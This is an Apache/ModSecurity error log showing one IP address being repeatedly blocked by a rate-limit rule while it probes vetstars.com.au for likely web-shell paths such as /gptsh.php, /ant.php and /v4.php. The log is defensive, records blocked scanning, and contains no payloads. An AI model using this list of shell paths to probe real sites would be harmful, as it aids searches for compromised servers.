[Fri Mar 27 18:43:44.823709 2026] [:error] [pid 63897:tid 63922] [client 51.103.152.71:20953] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acZfYGVSkmYmLu7ycYg3cAAAARc"]
[Fri Mar 27 18:43:45.950151 2026] [:error] [pid 27743:tid 27769] [client 51.103.152.71:8317] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acZfYSA46UYYLqzw99C7OQAAAAU"]
[Fri Mar 27 18:43:47.166414 2026] [:error] [pid 63897:tid 63912] [client 51.103.152.71:24982] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acZfY2VSkmYmLu7ycYg3dAAAAQ0"]
[Fri Mar 27 18:43:48.134594 2026] [:error] [pid 27750:tid 27826] [client 51.103.152.71:12110] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "acZfZIaSil5rd17ieLzhygAAAIg"]
[Fri Mar 27 18:43:50.250733 2026] [:error] [pid 4293:tid 4296] [client 51.103.152.71:10840] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acZfZpLjeJUC3OKtEx9K8gAAAUE"]
[Fri Mar 27 18:43:51.081881 2026] [:error] [pid 27851:tid 27868] [client 51.103.152.71:25023] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acZfZ3R2ccxe3RMCLbrcigAAAMo"]
[Fri Mar 27 18:43:52.540085 2026] [:error] [pid 27750:tid 27825] [client 51.103.152.71:15910] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acZfaIaSil5rd17ieLzh0AAAAIc"]
[Fri Mar 27 18:43:54.039470 2026] [:error] [pid 27750:tid 27830] [client 51.103.152.71:13077] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acZfaoaSil5rd17ieLzh0gAAAIw"]
[Fri Mar 27 18:43:56.122934 2026] [:error] [pid 4293:tid 4305] [client 51.103.152.71:9678] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acZfbJLjeJUC3OKtEx9K_gAAAUo"]
[Fri Mar 27 18:44:05.661638 2026] [:error] [pid 4341:tid 4351] [client 51.103.152.71:20949] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acZfdeKJWrNB5dMlERGEEgAAAYg"]
[Fri Mar 27 18:45:20.398895 2026] [:error] [pid 27743:tid 27784] [client 51.103.152.71:25735] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rmpoa.php"] [unique_id "acZfwCA46UYYLqzw99C70AAAABQ"]
[Fri Mar 27 18:45:22.016646 2026] [:error] [pid 4293:tid 4314] [client 51.103.152.71:62065] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rmpoa.php"] [unique_id "acZfwpLjeJUC3OKtEx9LrQAAAVM"]
[Fri Mar 27 18:45:22.759364 2026] [:error] [pid 27743:tid 27766] [client 51.103.152.71:17511] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rmpoa.php"] [unique_id "acZfwiA46UYYLqzw99C70QAAAAI"]
[Fri Mar 27 18:45:23.745691 2026] [:error] [pid 4293:tid 4319] [client 51.103.152.71:37056] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rmpoa.php"] [unique_id "acZfw5LjeJUC3OKtEx9LswAAAVg"]
[Fri Mar 27 18:45:24.624880 2026] [:error] [pid 4341:tid 4367] [client 51.103.152.71:3392] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acZfxOKJWrNB5dMlERGEcAAAAZg"]
[Fri Mar 27 18:45:25.542843 2026] [:error] [pid 4293:tid 4315] [client 51.103.152.71:15911] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acZfxZLjeJUC3OKtEx9LuQAAAVQ"]
[Fri Mar 27 18:45:26.482095 2026] [:error] [pid 4293:tid 4295] [client 51.103.152.71:12677] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acZfxpLjeJUC3OKtEx9LvAAAAUA"]
[Fri Mar 27 18:45:27.341100 2026] [:error] [pid 4293:tid 4312] [client 51.103.152.71:58506] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acZfx5LjeJUC3OKtEx9LvgAAAVE"]
[Fri Mar 27 18:45:28.675123 2026] [:error] [pid 4293:tid 4317] [client 51.103.152.71:38273] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acZfyJLjeJUC3OKtEx9LxAAAAVY"]
[Fri Mar 27 18:45:29.974357 2026] [:error] [pid 27743:tid 27768] [client 51.103.152.71:38301] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acZfySA46UYYLqzw99C71gAAAAQ"]
[Fri Mar 27 18:45:30.920618 2026] [:error] [pid 27743:tid 27776] [client 51.103.152.71:17130] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acZfyiA46UYYLqzw99C72wAAAAw"]
[Fri Mar 27 18:45:32.456417 2026] [:error] [pid 4293:tid 4318] [client 51.103.152.71:29888] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acZfzJLjeJUC3OKtEx9L1AAAAVc"]
[Fri Mar 27 18:45:33.882387 2026] [:error] [pid 27749:tid 27802] [client 51.103.152.71:15891] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acZfzcEqyoMni2Q6_X7lJAAAAEs"]
[Fri Mar 27 18:45:37.111974 2026] [:error] [pid 27749:tid 27807] [client 51.103.152.71:29899] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acZf0cEqyoMni2Q6_X7lKAAAAFA"]
[Fri Mar 27 18:45:38.910720 2026] [:error] [pid 27749:tid 27798] [client 51.103.152.71:64929] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acZf0sEqyoMni2Q6_X7lLgAAAEc"]
[Fri Mar 27 18:45:40.426438 2026] [:error] [pid 27743:tid 27787] [client 51.103.152.71:27964] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acZf1CA46UYYLqzw99C76wAAABc"]
[Fri Mar 27 18:45:43.449704 2026] [:error] [pid 27750:tid 27823] [client 51.103.152.71:37111] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acZf14aSil5rd17ieLziOQAAAIU"]
[Fri Mar 27 18:45:45.134647 2026] [:error] [pid 27749:tid 27808] [client 51.103.152.71:56422] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acZf2cEqyoMni2Q6_X7lNgAAAFE"]
[Fri Mar 27 18:45:46.071485 2026] [:error] [pid 4293:tid 4314] [client 51.103.152.71:58496] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acZf2pLjeJUC3OKtEx9L9QAAAVM"]
[Fri Mar 27 18:45:47.192481 2026] [:error] [pid 4293:tid 4318] [client 51.103.152.71:3765] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acZf25LjeJUC3OKtEx9L-gAAAVc"]
[Fri Mar 27 18:45:50.178671 2026] [:error] [pid 4293:tid 4306] [client 51.103.152.71:37078] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "acZf3pLjeJUC3OKtEx9MCAAAAUs"]
[Fri Mar 27 18:45:54.313976 2026] [:error] [pid 4341:tid 4352] [client 51.103.152.71:35774] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "acZf4uKJWrNB5dMlERGEiQAAAYk"]
[Fri Mar 27 18:45:55.638976 2026] [:error] [pid 27743:tid 27770] [client 51.103.152.71:8358] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "acZf4yA46UYYLqzw99C8BQAAAAY"]
[Fri Mar 27 18:45:56.437548 2026] [:error] [pid 4293:tid 4311] [client 51.103.152.71:56437] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "acZf5JLjeJUC3OKtEx9MEAAAAVA"]
[Fri Mar 27 18:45:57.673853 2026] [:error] [pid 4293:tid 4300] [client 51.103.152.71:16757] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acZf5ZLjeJUC3OKtEx9MGAAAAUU"]
[Fri Mar 27 18:45:58.937718 2026] [:error] [pid 4341:tid 4343] [client 51.103.152.71:3717] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acZf5uKJWrNB5dMlERGEmQAAAYA"]
[Fri Mar 27 18:46:00.818409 2026] [:error] [pid 4293:tid 4318] [client 51.103.152.71:65012] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acZf6JLjeJUC3OKtEx9MIwAAAVc"]
[Fri Mar 27 18:46:02.921759 2026] [:error] [pid 4341:tid 4349] [client 51.103.152.71:29895] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acZf6uKJWrNB5dMlERGEqAAAAYY"]
[Fri Mar 27 18:46:04.984781 2026] [:error] [pid 4293:tid 4318] [client 51.103.152.71:3333] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "acZf7JLjeJUC3OKtEx9MKwAAAVc"]
[Fri Mar 27 18:46:05.562752 2026] [:error] [pid 4293:tid 4297] [client 51.103.152.71:23610] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "acZf7ZLjeJUC3OKtEx9MLgAAAUI"]
[Fri Mar 27 18:46:06.894476 2026] [:error] [pid 4341:tid 4346] [client 51.103.152.71:8341] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "acZf7uKJWrNB5dMlERGErAAAAYM"]
[Fri Mar 27 18:46:09.122387 2026] [:error] [pid 27743:tid 27788] [client 51.103.152.71:64949] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "acZf8SA46UYYLqzw99C8HAAAABg"]
[Fri Mar 27 18:46:10.887839 2026] [:error] [pid 27851:tid 27869] [client 51.103.152.71:8365] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acZf8nR2ccxe3RMCLbrdHQAAAMs"]
[Fri Mar 27 18:46:11.710167 2026] [:error] [pid 27851:tid 27871] [client 51.103.152.71:58508] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acZf83R2ccxe3RMCLbrdIQAAAM0"]
[Fri Mar 27 18:46:12.618554 2026] [:error] [pid 63897:tid 63916] [client 51.103.152.71:29945] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acZf9GVSkmYmLu7ycYg38AAAARE"]
[Fri Mar 27 18:46:13.557273 2026] [:error] [pid 63897:tid 63904] [client 51.103.152.71:27947] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acZf9WVSkmYmLu7ycYg38wAAAQU"]
[Fri Mar 27 18:46:14.490793 2026] [:error] [pid 4293:tid 4299] [client 51.103.152.71:41369] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acZf9pLjeJUC3OKtEx9MRQAAAUQ"]
[Fri Mar 27 18:46:15.648153 2026] [:error] [pid 4293:tid 4311] [client 51.103.152.71:3734] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acZf95LjeJUC3OKtEx9MTgAAAVA"]
[Fri Mar 27 18:46:16.709515 2026] [:error] [pid 27750:tid 27819] [client 51.103.152.71:29903] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acZf-IaSil5rd17ieLziSQAAAIE"]
[Fri Mar 27 18:46:17.660296 2026] [:error] [pid 4341:tid 4363] [client 51.103.152.71:65015] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acZf-eKJWrNB5dMlERGEsAAAAZQ"]
[Fri Mar 27 18:47:07.485411 2026] [:error] [pid 63897:tid 63919] [client 51.103.152.71:3761] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "acZgK2VSkmYmLu7ycYg4IwAAARQ"]
[Fri Mar 27 18:47:08.530152 2026] [:error] [pid 27743:tid 27775] [client 51.103.152.71:26637] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "acZgLCA46UYYLqzw99C8ggAAAAs"]
[Fri Mar 27 18:47:09.928822 2026] [:error] [pid 27743:tid 27777] [client 51.103.152.71:3590] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "acZgLSA46UYYLqzw99C8hgAAAA0"]
[Fri Mar 27 18:47:10.895039 2026] [:error] [pid 27750:tid 27825] [client 51.103.152.71:25364] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "acZgLoaSil5rd17ieLziagAAAIc"]
[Fri Mar 27 18:47:12.493617 2026] [:error] [pid 27743:tid 27769] [client 51.103.152.71:27109] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "acZgMCA46UYYLqzw99C8jAAAAAU"]
[Fri Mar 27 18:47:14.754981 2026] [:error] [pid 63897:tid 63921] [client 51.103.152.71:26714] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "acZgMmVSkmYmLu7ycYg4JAAAARY"]
[Fri Mar 27 18:47:15.721754 2026] [:error] [pid 27743:tid 27784] [client 51.103.152.71:41987] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "acZgMyA46UYYLqzw99C8jgAAABQ"]
